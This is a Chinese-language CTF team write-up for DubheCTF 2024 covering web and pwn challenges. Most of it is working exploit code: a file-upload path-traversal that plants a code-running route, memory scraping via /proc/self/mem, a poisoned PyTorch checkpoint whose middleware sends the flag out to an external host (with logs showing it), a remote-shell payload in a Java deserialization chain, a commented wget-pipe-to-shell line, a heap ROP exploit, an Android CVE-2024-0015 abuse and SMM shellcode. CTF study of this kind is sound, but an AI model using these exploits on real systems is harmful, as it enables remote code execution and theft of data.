DubheCTF 2024 By W&M
我们夺冠啦
WEB
Wecat
开环境的脚本
import hashlib
import string
import itertools
from pwn import remote
def proof_of_work(nonce, difficulty, salt_charset=string.ascii_letters + string.digits):
nonce_byte = nonce.encode()
expected_prefix = "0" * difficulty
for salt in itertools.chain.from_iterable(
map(bytes, itertools.product(salt_charset.encode(), repeat=i))
for i in itertools.count(1)
):
if hashlib.sha256(nonce_byte + salt).hexdigest().startswith(expected_prefix):
return salt
raise ValueError("No solution found")
r = remote("1.95.54.149", 1337)
welcome_msg = r.recvuntil(b"== True").decode()
print(welcome_msg)
nonce = welcome_msg.split("'")[1]
difficulty = 5
salt = proof_of_work(nonce, difficulty)
print(f"Salt: {salt.decode()}")
r.sendline(salt)
print("Entering interactive mode...")
r.interactive()题目用的是nodemon热部署，注册并登录后配合/wechatAPI/upload/once文件上传+路径穿越动态添加一个端点
------WebKitFormBoundaryO3qB3opqaTtCt60e
Content-Disposition: form-data; name="file"; filename="getflag.js"
Content-Type: image/png
const router = require('@koa/router')()
const child_process = require('child_process')
router.get('/wechatAPI/getflag', (ctx) => {
var flag = child_process.execFileSync("/readflag").toString()
ctx.status = 200
ctx.body = {
msg: flag
}
})
module.exports = router.routes()
------WebKitFormBoundaryO3qB3opqaTtCt60e
Content-Disposition: form-data; name="name"
getflag.js
------WebKitFormBoundaryO3qB3opqaTtCt60e
Content-Disposition: form-data; name="hash"
/.
------WebKitFormBoundaryO3qB3opqaTtCt60e
Content-Disposition: form-data; name="postfix"
/../src/route/getflag.js
------WebKitFormBoundaryO3qB3opqaTtCt60e--
------WebKitFormBoundaryO3qB3opqaTtCt60e
Content-Disposition: form-data; name="file"; filename="router.js"
Content-Type: image/png
const router = require('@koa/router')()
const commonRouter = require('./commonRouter')
const routeAdmin = require('./admin')
const routeLogin = require('./login')
const routeUpload = require('./upload')
const routeGetflag = require('./getflag')
router
.use(routeLogin)
.use(commonRouter)
.use(routeUpload)
.use(routeAdmin)
.use(routeGetflag)
module.exports = router
------WebKitFormBoundaryO3qB3opqaTtCt60e
Content-Disposition: form-data; name="name"
router.js
------WebKitFormBoundaryO3qB3opqaTtCt60e
Content-Disposition: form-data; name="hash"
/.
------WebKitFormBoundaryO3qB3opqaTtCt60e
Content-Disposition: form-data; name="postfix"
/../src/route/router.js
------WebKitFormBoundaryO3qB3opqaTtCt60e--之后访问/wechatAPI/getflag即可
{"msg":"DubheCTF{Chatting_Online_May_Cost_You_8000}\n"}VulnTagger
路径穿越，.git位于/static%2f..%2f..%2f..%2f.git%2fHEAD
使用https://github.com/kost/dvcs-ripper将git储存库进行下载
暂时无法在飞书文档外展示此内容
读/proc/self/mem 找22字节长的字符串 得到storage_secret
多跑几次，把之前跑的结果写到false_positives.txt里，用于排除错误选项（从一整个程序的内存里找一个22字节长的字符串太难找了）
#maps_parser.py
import re
from dataclasses import dataclass
from typing import List
@dataclass
class MemoryMapping:
addr_start: str
addr_end: str
perms: str
offset: str
dev: str
inode: str
pathname: str = None
def parse_proc_maps(maps:str) -> List[MemoryMapping]:
lines = maps.splitlines()
mappings = []
for line in lines:
# regex to match the different parts of a line
match = re.match(r'([0-9a-f]+)-([0-9a-f]+) (\S+) ([0-9a-f]+) (\S+):(\S+) (\d+)(?: *(.*))?', line)
if match:
groups = match.groups()
mapping = MemoryMapping(
addr_start=groups[0],
addr_end=groups[1],
perms=groups[2],
offset=groups[3],
dev=groups[4] + ':' + groups[5],
inode=groups[6],
pathname=groups[7].strip() if groups[7] else None
)
mappings.append(mapping)
return mappings
if __name__ == "__main__":
with open("/proc/self/maps") as f:
print(parse_proc_maps(f.read()))
#read_mem.py
import requests
from time import sleep
import urllib.request
import re
import socket
import time
from maps_parser import parse_proc_maps
url = "/static%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fproc/self/mem"
maps = "http://1.95.11.7:40721/static%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fproc/self/maps"
r = requests.get(maps)
print(r.text)
maps_parsed = parse_proc_maps(r.text)
import os
os.makedirs("./out",exist_ok=True)
os.system("rm out/*")
def read(start_mem_int,end_mem_int):
with socket.create_connection(("1.95.11.7", 40721)) as sock:
request = f"GET {url} HTTP/1.1\r\nHost: 1.95.11.7:40721\r\nUpgrade-Insecure-Requests: 1\r\nRange: bytes={start_mem_int}-{end_mem_int}\r\nConnection: close\r\n\r\n"
sock.sendall(request.encode())
response = b''
while t:=sock.recv(8192):
response+=t
assert b'title>VulnTagger</title' not in response
return response.split(b"\r\n\r\n",1)[1]
for item in maps_parsed:
if item.pathname != None: continue
if item.perms != "rw-p":continue
start_mem_int,end_mem_int = int(item.addr_start,16),int(item.addr_end,16)
size = end_mem_int - start_mem_int
if size >= 10*1024*1024: continue
print(item.addr_start,item.addr_end,item.perms,size,size/1024/1024,"MB")
filename = f'{item.addr_start}_{item.addr_end}_{str(item.pathname)}'.replace("/","_")
print(filename)
outfile = os.path.join("./out",filename)
with open(outfile,"wb") as outfile:
outfile.write(read(start_mem_int,end_mem_int))
#filter_strings.py
import string
import os
b64charset = string.ascii_letters + string.digits + "_-"
def isbase64safe(str):
return all(x in b64charset for x in str)
os.system('strings -n 22 out/* > /tmp/strings.txt')
with open("./false_positives.txt") as f:
false_positives = f.readlines()
false_positives = list(x.strip() for x in false_positives)
result = set()
with open("/tmp/strings.txt","r") as file:
for line in file:
l = line[:-1]
if len(l) == 22 and isbase64safe(l):
if l not in false_positives:
result.add(l)
for item in result:
print(item)本地跑服务得到session
#fake_session_server.py
from nicegui import ui
from nicegui import app
@ui.page('/other_page')
def other_page():
app.storage.browser["is_admin"] = True
ui.label('Welcome to the other side')
ui.link('Visit other page', other_page)
import sys
secret_token=sys.argv[1]
ui.run(port=8082,storage_secret=secret_token,show=False)
#fake_session.py
import subprocess
import sys
secret_token=sys.argv[1]
p = subprocess.Popen(["python3","fake_session_server.py",secret_token])
import time
time.sleep(5)
import requests
resp = requests.get("http://127.0.0.1:8082/other_page")
print(resp.cookies)
p.terminate()写一个middleware，算pow并且带出flag
#antibot.py
import hashlib
from logging import getLogger
from nicegui import app
from fastapi import Request,Response
from starlette.middleware import Middleware
from starlette.middleware.base import BaseHTTPMiddleware
import urllib
import string
import json
import itertools
app.middleware_stack = None
@app.middleware("http")
async def add_process_time_header(request: Request, call_next):
def proof_of_work(difficulty, token):
import hashlib
from logging import getLogger
from nicegui import app
from fastapi import Request,Response
from starlette.middleware import Middleware
from starlette.middleware.base import BaseHTTPMiddleware
import urllib
import string
import json
import itertools
combinations = itertools.product(string.ascii_letters, repeat=5)
for combination in combinations:
res = "".join(combination)
if (hashlib.sha256((token + res).encode()).hexdigest().startswith("0"*difficulty)):
return res
import hashlib
from logging import getLogger
from nicegui import app
from fastapi import Request,Response
from starlette.middleware import Middleware
from starlette.middleware.base import BaseHTTPMiddleware
import urllib
import string
import json
import itertools
logger = getLogger("injected")
response = await call_next(request)
x_pow_token = request.headers.get("x-pow-token")
x_pow_difficulty = request.headers.get("x-pow-difficulty")
if x_pow_token and x_pow_difficulty:
try:
with urllib.request.urlopen("http://1.1.1.1/x/flag/"+x_pow_token) as response:
pass
except:
pass
logger.warning("pow: %s %s" %(x_pow_difficulty,x_pow_token))
pow = proof_of_work(int(x_pow_difficulty),x_pow_token)
logger.warning("calculated pow:%s"%pow)
return Response(json.dumps({"bar":pow}),418)
return response把middleware放进checkpoint，远程报错找不到torchvision不影响middleware加载
from pathlib import Path
import torch
import torchvision.models as models
from fickling.pytorch import PyTorchModelWrapper
model = models.mobilenet_v2()
torch.save(model, "exp.pth")
result = PyTorchModelWrapper(Path("exp.pth"))
payload = open("./antibot.py").read()
result.inject_payload(
payload,
Path("temp.pt"),
injection="insertion",
overwrite=True,
)用session登录，上传模型，主页选一次模型，等flag
1.95.11.7 "1.1.1.1" http [17/Mar/2024:21:43:26 +0800] "GET /x/flag/8x18ycqqkRiafuu-iLA8xi9Tc9qrLJZGbI-N0VT2SYo HTTP/1.1" 404 162 "-" "Python-urllib/3.12"
1.95.11.7 "1.1.1.1" http [17/Mar/2024:21:43:27 +0800] "GET /x/flag/aN1dJFPdKQBBqeHMqKVkNvSaLjInALYoK36u1wx_Iyo HTTP/1.1" 404 162 "-" "Python-urllib/3.12"
1.95.11.7 "1.1.1.1" http [17/Mar/2024:21:43:27 +0800] "GET /x/flag/K2gxjbfNiO7QuFOpBOgKybR8DjQOcYia8UjDtA0eiKM HTTP/1.1" 404 162 "-" "Python-urllib/3.12"
1.95.11.7 "1.1.1.1" http [17/Mar/2024:21:43:27 +0800] "GET /x/flag/ZOdzHbDpIxb6KEyxBloVUAhjCdBe4668tnmEkBFYwFQ HTTP/1.1" 404 162 "-" "Python-urllib/3.12"
1.95.11.7 "1.1.1.1" http [17/Mar/2024:21:43:27 +0800] "GET /x/flag/MBu8GggYMfqRsM_2xgLrVHUS6tE28IoUwKorl2JD3og HTTP/1.1" 404 162 "-" "Python-urllib/3.12"
1.95.11.7 "1.1.1.1" http [17/Mar/2024:21:43:27 +0800] "GET /x/flag/DubheCTF{1_H0Pe_Y0u_eNj0y_7h1S_VuLnEr48lE_7499Er} HTTP/1.1" 404 162 "-" "Python-urllib/3.12"Master of Profile
https://github.com/tindy2013/subconverter/tree/v0.8.1
首先 0.8.1是这个版本 这个作者经常写代码但是不发版本
git checkout v0.8.1
所有的http handler在src\main.cpp
NOTE: It is still possible to RCE on v0.7.2-ce8d2bd by authorized user or when the server is running with config
api_mode = false, this is confirmed to be 'not a vulnerability' by the author.
api_mode=false下，api_access_token虽然被修改了，但是不起作用
http://1.95.13.243:35131/getlocal?path=./pref.yml
用 /updateconf 更新配置文件 打开cache 传统rce
开靶机.py
import hashlib
import string
import itertools
import string
from pwn import *
def proof_of_work(repeat, hash):
combinations = itertools.product(string.ascii_letters, repeat=repeat)
for combination in combinations:
res = "".join(combination)
if (hashlib.sha256(("Welcome to DubheCTF! POW is: " + res).encode()).hexdigest() == hash):
return res
def p(hash):
return proof_of_work(5,hash)
io = remote("1.95.13.243",1337)
hash = io.recvuntil(b"Timeout: 60s").split(b" = ")[1].replace(b'Timeout: 60s',b'').strip().decode()
print(hash)
pow = p(hash)
print(pow)
io.sendline(pow)
info = io.recvuntil(b'======================================')
print(info.decode())
port = re.findall(r'Your port: (\d+)',info.decode())[0]
port = int(port)
print(port)exp.py
import sys
import requests
import re
import hashlib
port = sys.argv[1]
ip = 'http://1.95.13.243'
server_addr = ip + ":" + port + ""
if port =='test':
server_addr = "http://127.0.0.1:25500"
rs = requests.Session()
# get token
resp = rs.get(server_addr + "/getlocal?path=./pref.yml")
try:
token = re.findall(r'api_access_token: "(\d+)"',resp.text)[0]
except:
token = re.findall(r'api_access_token=(\d+)',resp.text)[0]
print(token)
# enable_cache=true
# api_access_token=TOKEN
conf_file=open("./conf_file.yml").read().replace("TOKEN",token)
# update conf
resp = rs.post(server_addr + "/updateconf",params={"token":token,"type":"direct"},data=conf_file.encode())
print(resp.text)
# host a file
#std.popen("sh -c 'wget -O - xxxxx/s|sh'", "r");
node_addr = 'http://1.1.1.1:8080/payload.js'
file_path = 'script:cache/'+hashlib.md5(node_addr.encode()).hexdigest()
# fetch my js
resp = rs.get(server_addr + "/sub",params={"target":"quanx","url":node_addr})
print(resp.text)
# run my js
resp = rs.get(server_addr + "/sub",params={"target":"quanx","url":file_path})
print(resp.text)Javolution
https://github.com/luelueking/Deserial_Sink_With_JDBC 部署一下teradata的两个py。改下文件里面的IP
)
-20240319000628260.(null))
直接Xstring
原理：
第一步直觉。看到数字想到整数溢出。设置一个负的属性。打boss直接过了然后加level
第二步域名。起一个域名指向127.0.0.1。然后打反序列化。看class是java17。
然后就是xstring tostring getconnect然后getParentLogger会报错。所以类要设置成题目的PalDataSource。不会触发TeraDataSource的getParentLogger。并且PalDataSource的getConnection不满足get无参。调用TeraDataSource继承的getconnect触发jdbc
--add-opens java.base/java.util=ALL-UNNAMED --add-exports java.xml/com.sun.org.apache.xpath.internal.objects=ALL-UNNAMED
--add-exports java.xml/com.sun.org.apache.xpath.internal.objects=ALL-UNNAMED-20240319000628512.(null))
Exp
import requests
target="http://xxx:xxx"
payload="payload"
requests.get(target+"/pal/cheat?defense=-2147483647")
requests.get(target+"/pal/battle/flag")
requests.post(target+"/pal/cheat",data={"host":"dubhe.sudo.cc","data":payload})import com.fasterxml.jackson.databind.node.POJONode;
import javassist.*;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.dubhe.javolution.pool.PalDataSource;
import org.springframework.aop.framework.AdvisedSupport;
import javax.sql.DataSource;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;
public class exp {
public static void setFieldValue(Object object, String fieldName, Object value) {
try {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, InstantiationException, NotFoundException, CannotCompileException, NoSuchFieldException {
String command = "bash -c {echo,xxxx}|{base64,-d}|{bash,-i}";
PalDataSource dataSource = new org.dubhe.javolution.pool.PalDataSource();
dataSource.setBROWSER(command);
dataSource.setLOGMECH("BROWSER");
dataSource.setDSName("xx");
dataSource.setDbsPort("10250");
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(dataSource);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{DataSource.class}, handler);
POJONode a = new POJONode(proxy);
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
XString xString = new XString("xx");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy", a);
map1.put("zZ", xString);
map2.put("yy", xString);
map2.put("zZ", a);
Array.set(tbl, 0, nodeCons.newInstance(0, map1, map1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, map2, map2, null));
setFieldValue(s, "table", tbl);
ByteArrayOutputStream bytes = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(bytes);
objectOutputStream.writeObject(s);
byte[] output = Base64.getEncoder().encode(bytes.toByteArray());
FileOutputStream fout = new FileOutputStream(new File("guoke.ser"));
fout.write(bytes.toByteArray());
fout.close();
System.out.println(new String(output));
byte[] input = Base64.getDecoder().decode(output);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(input);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
//objectInputStream.readObject();
}
}-20240319000628681.(null))
PWN
BuggyAllocator
from pwn import *
context.arch = "amd64"
def choice(idx):
sh.sendlineafter("> ", str(idx))
def add(idx, size, content):
choice(1)
sh.sendlineafter("idx: ", str(idx))
sh.sendlineafter("size: ", str(size))
sh.sendafter("Content: ", content)
def delete(idx):
choice(2)
sh.sendlineafter("idx: ", str(idx))
while True:
try:
#sh = process('./pwn')
sh = remote('1.95.11.97', 9999)
add(0, 0xA08, 'a' * 0xA0)
add(1, 0x88, 'b' * 0x88)
delete(0)
add(0, 0x4B8, 'c' * 0x4B8)
add(2, 0x548, '\x80\x47')
delete(0)
delete(2)
add(0, 0x40, 'd' * 0x40)
for i in range(2, 2 + 19): #2 - 20
add(i, 0x40, chr(i) * 0x40)
add(21, 0x40, p64(0xfbad1800) + '\x00' * 0x18 + '\x00\x47')
libc_base = u64(sh.recvuntil('\x7f', timeout=1)[-6:].ljust(8, '\x00')) - 0x21b780
if libc_base & 0xFFF != 0:
raise EOFError
break
except EOFError:
sh.close()
except KeyboardInterrupt:
exit(0)
context.log_level = "debug"
log.success("libc_base:\t" + hex(libc_base))
environ = libc_base + 0x222200
delete(21)
add(21, 0x40, p64(0xfbad1800) + '\x00' * 0x18 + p64(environ) + p64(environ + 8) + p64(environ + 8))
stack_addr = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x140
log.success("stack_addr:\t" + hex(stack_addr))
add(22, 0x50, 'x' * 0x50)
add(23, 0x1408, 'x' * 0x10)
delete(23)
add(23, 0x978, 'x' * 0x10)
add(24, 0x500, p64(stack_addr))
delete(24)
delete(23)
add(24, 0x80, 'x' * 0x80)
for i in range(25, 25 + 19): # 25 - 43
add(i, 0x80, chr(i) * 0x80)
pop_rdi_addr = libc_base + 0x2a3e5
system_addr = libc_base + 0x50d70
bin_sh_addr = libc_base + 0x1d8678
add(44, 0x80, p64(pop_rdi_addr + 1) + p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr))
sh.interactive()daydream
漏洞是：CVE-2024-0015，提供一次点击
def one_click():
adb(["shell", "am", "start", "-a", "android.settings.DREAM_SETTINGS"])
adb(["shell", "sleep", "10"])
adb(["shell", "input", "keyevent", "KEYCODE_DPAD_DOWN"])
adb(["shell", "sleep", "1"])
adb(["shell", "input", "keyevent", "KEYCODE_ENTER"])
adb(["shell", "sleep", "5"])
adb(["shell", "input", "tap", "675", "1415"])
adb(["shell", "sleep", "5"])
adb(["shell", "input", "tap", "1256", "842"])
adb(["shell", "sleep", "1"])会点击第四个程序 (我们注册的屏保程序) 的设置按钮，问题在于这里没有校验 settingsActivity 是否是我们注册的屏保程序，导致 launchAnyWhere。这里只要调起 com.tsctf.victimapp/.SecretActivity 就可以打印 flag 到 Logcat 中。（JEB：CTRL +TAB，关闭 Decryptor support，否则 readFile() 函数会被优化掉）
-20240319000727013.(null))
在 AndroidManifest.xml 中添加
<service
android:name=".MyDreamService"
android:exported="true"
android:label="Test Dream"
android:permission="android.permission.BIND_DREAM_SERVICE">
<intent-filter>
<action android:name="android.service.dreams.DreamService" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
<meta-data
android:name="android.service.dream"
android:resource="@xml/test_dream_metadata" />
</service>添加 xml 文件夹下添加 test_dream_metadata.xml 文件
<?xml version="1.0" encoding="utf-8"?>
<dream xmlns:android="http://schemas.android.com/apk/res/android"
android:settingsActivity="com.tsctf.victimapp/.SecretActivity" />ToySMM
修改自 https://toh.necst.it/uiuctf/pwn/system/x86/rop/UIUCTF-2022-SMM-Cowsay/，原writeup对背景已经写的很清楚了。
ToyAPP是一个UEFI Shell程序，可以输入十六进制的shellcode并以ring0权限执行。nc上去之后就会给一些地址并执行这个程序。
qemu里面的tsctfmmio设备把0x23330000区域映射到flag，但是SMM（ring 2）下才能读真flag（来自flagregion文件），其他ring读假flag；并且不许write。
在 OVMF_CODE.fd解压出来的 OVMF_CODE.fd.dump\0 48DB5E17-707C-472D-91CD-1613E7EF51B0\0 9E21FD93-9C72-4C15-8C4B-E77F1DB2D792\0 EE4E5898-3914-4259-9D6E-DC7BD79403CF\3 Volume image section\0 7CB8BDC9-F8EB-4F34-AAEA-3EE4AF6516A1\109 ToySMM\1 PE32 image section\body.bin 注册了 ToySMM Driver，注册的SMM handler如下：
// CommBuffer内容和CommBufferSize可控
unsigned __int64 __fastcall ToySMM_handler(
__int64 DispatchHandle,
__int64 Context,
__int64 CommBuffer,
__int64 CommBufferSize)
{
int v5; // [rsp+0h] [rbp-24h] BYREF
char v6[32]; // [rsp+4h] [rbp-20h] BYREF
if ( !CommBuffer || !CommBufferSize )
return 0x8000000000000002ui64;
v5 = 'AAAA';
if ( !strncmp((CommBuffer + 16), &v5, 3) )
BOOT_SERVICES->LocateProtocol(EFI_ACPI_TABLE_PROTOCOL_GUID, 0, v6); // 意义不明的加载
if ( &v5 == 0x23330000 || !strncmp(0x23330000, &v5, 3) )
print_real_flag();
return 0i64;
}可以把 BOOT_SERVICES->LocateProtocol 函数指针劫持成 print_real_flag 函数或者自己的shellcode，后者可以把 v5 对应寄存器（r12）改成 0x23330000 通过 &v5==0x23330000 检查。
import os
os.environ['PWNLIB_NOTERM'] = '1'
from pwn import *
ARCH = 'amd64'
context(arch=ARCH)
r = process('./run.sh')
# r = remote("1.95.0.62", 9999)
def debug():
print(pidof(r))
pause()
def send_shellcode(code):
shellcode = asm(
code
).hex()
r.recvrepeat(1)
r.sendline(shellcode.encode())
r.sendline(b"DONE")
# EfiRuntimeServicesData = 6
r.recvuntil(b"Runtime Services ")
runtime_services = int(r.recvuntil(b"\n").strip(), 16)
r.recvuntil(b"Boot Services ")
boot_services = int(r.recvuntil(b"\n").strip(), 16)
print(f"runtime_services: {hex(runtime_services)}")
print(f"boot_services: {hex(boot_services)}")
send_shellcode(f'''
/* gBS->LocateProtocol */
mov rax, {boot_services}
mov rbx, qword ptr [rax + 0x40]
mov rcx, qword ptr [rax + 0x140]
''')
r.recvuntil(b'RBX: 0x')
AllocatePool = int(r.recvn(16), 16) # useful for later
r.recvuntil(b'RCX: 0x')
LocateProtocol = int(r.recvn(16), 16)
print(f"AllocatePool: {hex(AllocatePool)}")
print(f"LocateProtocol: {hex(LocateProtocol)}")
gEfiSmmCommunicationProtocolGuid = 0x32c3c5ac65db949d4cbd9dc6c68ed8e2
gEfiSmmCowsayCommunicationGuid = 0x9d76f4b1548e0872ec86b7f3b31cf11e
EfiRuntimeServicesData = 6
send_shellcode(f'''
/* LocateProtocol(gEfiSmmCommunicationProtocolGuid, NULL, &protocol) */
lea rcx, qword ptr [rip + guid]
xor rdx, rdx
lea r8, qword ptr [rip + protocol]
mov rax, {LocateProtocol}
call rax
test rax, rax
jnz fail
mov rax, qword ptr [rip + protocol] /* mSmmCommunication */
mov rbx, qword ptr [rax] /* mSmmCommunication->Communicate */
ret
fail:
ud2
guid:
.octa {gEfiSmmCommunicationProtocolGuid}
protocol:
''')
r.recvuntil(b'RAX: 0x')
mSmmCommunication = int(r.recvn(16), 16)
r.recvuntil(b'RBX: 0x')
Communicate = int(r.recvn(16), 16)
print(f"mSmmCommunication: {hex(mSmmCommunication)}")
print(f"Communicate: {hex(Communicate)}")
send_shellcode(f'''
/* AllocatePool(EfiRuntimeServicesData, 0x1000, &buffer) */
mov rcx, {EfiRuntimeServicesData}
mov rdx, 0x1000
lea r8, qword ptr [rip + buffer]
mov rax, {AllocatePool}
call rax
test rax, rax
jnz fail
mov rax, qword ptr [rip + buffer]
ret
fail:
ud2
buffer:
''')
r.recvuntil(b'RAX: 0x')
buffer = int(r.recvn(16), 16)
log.success('Allocated buffer @ 0x%x', buffer)
send_shellcode(f'''
mov rax, 0x6fd6cc0
mov qword ptr [rax], 0x53fc0e8
/* Copy data into allocated buffer */
lea rsi, qword ptr [rip + data]
mov rdi, {buffer}
mov rcx, 0x40
cld
rep movsb
/* Communicate(mSmmCommunication, buffer, NULL) */
mov rcx, {mSmmCommunication}
mov rdx, {buffer}
xor r8, r8
mov rax, {Communicate}
call rax
test rax, rax
jnz fail
ret
fail:
ud2
read:
mov r12, 0x23330000
ret
data:
.octa {gEfiSmmCowsayCommunicationGuid} /* Buffer->HeaderGuid */
.quad 0x28 /* Buffer->MessageLength */
.quad 0x4242424242424242 /* Buffer->Data */
.quad 0x4242424242424242
.quad 0x4141414141414141
''')
r.interactive()Ggbond
一个golang写的rpc server
可以用pbtk还原protobuf结构
pbtk/extractors/from_binary.py ./pwn ./out_file
syntax = "proto3";
package GGBond;
option go_package = "./;ggbond";
service GGBondServer {
rpc Handler(Request) returns (Response);
}
message Request {
oneof request {
WhoamiRequest whoami = 100;
RoleChangeRequest role_change = 101;
RepeaterRequest repeater = 102;
}
}
message Response {
oneof response {
WhoamiResponse whoami = 200;
RoleChangeResponse role_change = 201;
RepeaterResponse repeater = 202;
ErrorResponse error = 444;
}
}
message WhoamiRequest {
}
message WhoamiResponse {
string message = 2000;
}
message RoleChangeRequest {
uint32 role = 1001;
}
message RoleChangeResponse {
string message = 2001;
}
message RepeaterRequest {
string message = 1002;
}
message RepeaterResponse {
string message = 2002;
}
message ErrorResponse {
string message = 4444;
}ggbond_pb2.py
# -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: out_file/ggbond.proto
"""Generated protocol buffer code."""
from google.protobuf import descriptor as _descriptor
from google.protobuf import descriptor_pool as _descriptor_pool
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.protobuf import symbol_database as _symbol_database
# @@protoc_insertion_point(imports)
_sym_db = _symbol_database.Default()
DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\x15out_file/ggbond.proto\x12\x06GGBond\"\x9c\x01\n\x07Request\x12\'\n\x06whoami\x18\x64 \x01(\x0b\x32\x15.GGBond.WhoamiRequestH\x00\x12\x30\n\x0brole_change\x18\x65 \x01(\x0b\x32\x19.GGBond.RoleChangeRequestH\x00\x12+\n\x08repeater\x18\x66 \x01(\x0b\x32\x17.GGBond.RepeaterRequestH\x00\x42\t\n\x07request\"\xcd\x01\n\x08Response\x12)\n\x06whoami\x18\xc8\x01 \x01(\x0b\x32\x16.GGBond.WhoamiResponseH\x00\x12\x32\n\x0brole_change\x18\xc9\x01 \x01(\x0b\x32\x1a.GGBond.RoleChangeResponseH\x00\x12-\n\x08repeater\x18\xca\x01 \x01(\x0b\x32\x18.GGBond.RepeaterResponseH\x00\x12\'\n\x05\x65rror\x18\xbc\x03 \x01(\x0b\x32\x15.GGBond.ErrorResponseH\x00\x42\n\n\x08response\"\x0f\n\rWhoamiRequest\"\"\n\x0eWhoamiResponse\x12\x10\n\x07message\x18\xd0\x0f \x01(\t\"\"\n\x11RoleChangeRequest\x12\r\n\x04role\x18\xe9\x07 \x01(\r\"&\n\x12RoleChangeResponse\x12\x10\n\x07message\x18\xd1\x0f \x01(\t\"#\n\x0fRepeaterRequest\x12\x10\n\x07message\x18\xea\x07 \x01(\t\"$\n\x10RepeaterResponse\x12\x10\n\x07message\x18\xd2\x0f \x01(\t\"!\n\rErrorResponse\x12\x10\n\x07message\x18\xdc\" \x01(\t2<\n\x0cGGBondServer\x12,\n\x07Handler\x12\x0f.GGBond.Request\x1a\x10.GGBond.ResponseB\x0bZ\t./;ggbondb\x06proto3')
_REQUEST = DESCRIPTOR.message_types_by_name['Request']
_RESPONSE = DESCRIPTOR.message_types_by_name['Response']
_WHOAMIREQUEST = DESCRIPTOR.message_types_by_name['WhoamiRequest']
_WHOAMIRESPONSE = DESCRIPTOR.message_types_by_name['WhoamiResponse']
_ROLECHANGEREQUEST = DESCRIPTOR.message_types_by_name['RoleChangeRequest']
_ROLECHANGERESPONSE = DESCRIPTOR.message_types_by_name['RoleChangeResponse']
_REPEATERREQUEST = DESCRIPTOR.message_types_by_name['RepeaterRequest']
_REPEATERRESPONSE = DESCRIPTOR.message_types_by_name['RepeaterResponse']
_ERRORRESPONSE = DESCRIPTOR.message_types_by_name['ErrorResponse']
Request = _reflection.GeneratedProtocolMessageType('Request', (_message.Message,), {
'DESCRIPTOR' : _REQUEST,
'__module__' : 'out_file.ggbond_pb2'
# @@protoc_insertion_point(class_scope:GGBond.Request)
})
_sym_db.RegisterMessage(Request)
Response = _reflection.GeneratedProtocolMessageType('Response', (_message.Message,), {
'DESCRIPTOR' : _RESPONSE,
'__module__' : 'out_file.ggbond_pb2'
# @@protoc_insertion_point(class_scope:GGBond.Response)
})
_sym_db.RegisterMessage(Response)
WhoamiRequest = _reflection.GeneratedProtocolMessageType('WhoamiRequest', (_message.Message,), {
'DESCRIPTOR' : _WHOAMIREQUEST,
'__module__' : 'out_file.ggbond_pb2'
# @@protoc_insertion_point(class_scope:GGBond.WhoamiRequest)
})
_sym_db.RegisterMessage(WhoamiRequest)
WhoamiResponse = _reflection.GeneratedProtocolMessageType('WhoamiResponse', (_message.Message,), {
'DESCRIPTOR' : _WHOAMIRESPONSE,
'__module__' : 'out_file.ggbond_pb2'
# @@protoc_insertion_point(class_scope:GGBond.WhoamiResponse)
})
_sym_db.RegisterMessage(WhoamiResponse)
RoleChangeRequest = _reflection.GeneratedProtocolMessageType('RoleChangeRequest', (_message.Message,), {
'DESCRIPTOR' : _ROLECHANGEREQUEST,
'__module__' : 'out_file.ggbond_pb2'
# @@protoc_insertion_point(class_scope:GGBond.RoleChangeRequest)
})
_sym_db.RegisterMessage(RoleChangeRequest)
RoleChangeResponse = _reflection.GeneratedProtocolMessageType('RoleChangeResponse', (_message.Message,), {
'DESCRIPTOR' : _ROLECHANGERESPONSE,
'__module__' : 'out_file.ggbond_pb2'
# @@protoc_insertion_point(class_scope:GGBond.RoleChangeResponse)
})
_sym_db.RegisterMessage(RoleChangeResponse)
RepeaterRequest = _reflection.GeneratedProtocolMessageType('RepeaterRequest', (_message.Message,), {
'DESCRIPTOR' : _REPEATERREQUEST,
'__module__' : 'out_file.ggbond_pb2'
# @@protoc_insertion_point(class_scope:GGBond.RepeaterRequest)
})
_sym_db.RegisterMessage(RepeaterRequest)
RepeaterResponse = _reflection.GeneratedProtocolMessageType('RepeaterResponse', (_message.Message,), {
'DESCRIPTOR' : _REPEATERRESPONSE,
'__module__' : 'out_file.ggbond_pb2'
# @@protoc_insertion_point(class_scope:GGBond.RepeaterResponse)
})
_sym_db.RegisterMessage(RepeaterResponse)
ErrorResponse = _reflection.GeneratedProtocolMessageType('ErrorResponse', (_message.Message,), {
'DESCRIPTOR' : _ERRORRESPONSE,
'__module__' : 'out_file.ggbond_pb2'
# @@protoc_insertion_point(class_scope:GGBond.ErrorResponse)
})
